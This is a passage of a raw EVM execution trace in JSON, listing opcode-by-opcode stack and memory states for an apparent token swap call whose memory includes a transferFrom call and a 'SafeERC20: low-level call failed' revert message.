","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14312,"op":"DUP2","gas":2081,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14313,"op":"LT","gas":2078,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14314,"op":"ISZERO","gas":2075,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14315,"op":"PUSH2","gas":2072,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14318,"op":"JUMPI","gas":2069,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0","0x0","0x3802"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14319,"op":"DUP4","gas":2059,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14320,"op":"MLOAD","gas":2056,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14321,"op":"DUP4","gas":2053,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14322,"op":"MSTORE","gas":2050,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0","0x4563918244f40000","0x3e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14323,"op":"SWAP3","gas":2047,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14324,"op":"DUP5","gas":2044,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x0","0x3e4","0x2","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14325,"op":"ADD","gas":2041,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x0","0x3e4","0x2","0x120","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14326,"op":"SWAP3","gas":2038,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x0","0x3e4","0x2","0x140"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14327,"op":"SWAP2","gas":2035,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x3e4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063